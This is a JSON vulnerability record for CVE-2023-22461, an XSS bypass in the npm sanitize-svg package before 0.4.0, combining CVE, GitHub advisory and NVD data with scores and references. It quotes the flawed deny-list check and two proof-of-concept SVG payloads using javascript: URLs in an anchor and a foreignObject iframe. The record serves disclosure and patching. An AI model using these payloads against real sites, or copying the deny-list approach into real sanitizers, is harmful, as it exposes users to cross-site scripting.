{"id":"CVE-2023-22461","aliases":["CVE-2023-22461","GHSA-h857-2g56-468g"],"related":[],"kind":"vulnerability","state":"published","title":"sanitize-svg Filter Bypass Allows Cross-Site Scripting (XSS)","summary":"The `sanitize-svg` package, a small SVG sanitizer to prevent cross-site scripting attacks, uses a deny-list-pattern to sanitize SVGs to prevent XSS. In doing so, literal `<script>`-tags and on-event handlers were detected in versions prior to 0.4.0. As a result, downstream software that relies on `sanitize-svg` and expects resulting SVGs to be safe, may be vulnerable to cross-site scripting. This vulnerability was addressed in v0.4.0. There are no known workarounds","summarySource":"cvelist","descriptions":[{"lang":"en","text":"The `sanitize-svg` package, a small SVG sanitizer to prevent cross-site scripting attacks, uses a deny-list-pattern to sanitize SVGs to prevent XSS. In doing so, literal `<script>`-tags and on-event handlers were detected in versions prior to 0.4.0. As a result, downstream software that relies on `sanitize-svg` and expects resulting SVGs to be safe, may be vulnerable to cross-site scripting. This vulnerability was addressed in v0.4.0. There are no known workarounds","source":"cvelist"},{"lang":"en","text":"### Impact\nThe *sanitize-svg* package uses a deny-list-pattern to sanitize SVGs to prevent cross-site scripting (XSS). In doing so, literal `<script>`-tags and on-event handlers were detected:\n```typescript\n[...]\n  const svgEl = div.firstElementChild!\n  const attributes = Array.from(svgEl.attributes).map(({ name }) => name)\n  const hasScriptAttr = !!attributes.find((attr) => attr.startsWith('on'))\n  const scripts = svgEl.getElementsByTagName('script')\n  return scripts.length === 0 && !hasScriptAttr ? svg : null\n[...]\n```\n\nThere are more ways to embed JavaScript in XML files.\n\n**Anchor Tag** (requires user to click link):\n```xml\n<svg viewBox=\"0 0 100 100\" xmlns=\"http://www.w3.org/2000/svg\">\n  <a href=\"javascript:alert(document.domain)\">\n    <text x=\"50\" y=\"50\" text-anchor=\"middle\">Lauritz</text>\n  </a>\n</svg>\n```\n\n**Foreign Object Tag** (no user interaction required):\n```xml\n<svg width=\"500\" height=\"500\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n        <text x=\"20\" y=\"35\">Lauritz</text>\n        <foreignObject width=\"500\" height=\"500\">\n                <iframe xmlns=\"http://www.w3.org/1999/xhtml\" src=\"javascript:confirm(document.domain);\" width=\"400\" height=\"250\"/>\n        </foreignObject>\n</svg>\n```\n\nAs a result, downstream software that relies on `sanitize-svg` and expects resulting SVGs to be safe, may be vulnerable to XSS. We are aware of at least one downstream project for which this vulnerability had security implications. \n\n### Patches\nThis vulnerability was addressed in v0.4.0.\n\n### Workarounds\nN/A","format":"markdown","source":"ghsa"},{"lang":"es","text":"El paquete `sanitize-svg`, un pequeño \"sanitizador\" de SVG para evitar ataques de cross-site scripting, utiliza un patrón de lista de denegación para desinfectar los SVG y evitar XSS. Al hacerlo, se detectaron etiquetas literales `","source":"nvd"}],"published":"2023-01-04T14:57:04.902Z","modified":"2026-06-17T05:35:30.200Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","score":7.6,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","score":7.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","score":7.6,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"}],"cwes":["CWE-79","CWE-80"],"affected":[{"ranges":[{"version":"< 0.4","status":"affected"}],"vendor":"mattkrick","product":"sanitize-svg","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.4.0"}],"ecosystem":"npm","package":"@mattkrick/sanitize-svg","purl":"pkg:npm/%40mattkrick/sanitize-svg","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.4.0"}],"vendor":"sanitize-svg_project","product":"sanitize-svg","cpe":"cpe:2.3:a:sanitize-svg_project:sanitize-svg:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/mattkrick/sanitize-svg/security/advisories/GHSA-h857-2g56-468g","tags":["exploit","third-party-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/mattkrick/sanitize-svg/commit/b107e453ede7b58adcccae74a3e474c012eec85d","tags":["patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-22461","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/mattkrick/sanitize-svg","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-03-10T21:01:57.871Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2023-22461","url":"https://www.cve.org/CVERecord?id=CVE-2023-22461","licence":"CVE Terms of Use","modified":"2025-03-10T21:33:03.572Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-h857-2g56-468g","url":"https://github.com/advisories/GHSA-h857-2g56-468g","licence":"CC-BY-4.0","modified":"2023-11-08T04:11:35.614Z"},{"source":"nvd","name":"NVD","id":"CVE-2023-22461","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-22461","licence":"Public domain","modified":"2026-06-17T05:35:30.200Z"}],"updatedAt":"2026-11-25T22:58:21.480Z","epss":{"score":0.0061,"percentile":0.50557,"date":"2026-12-01T12:00:22.000Z"}}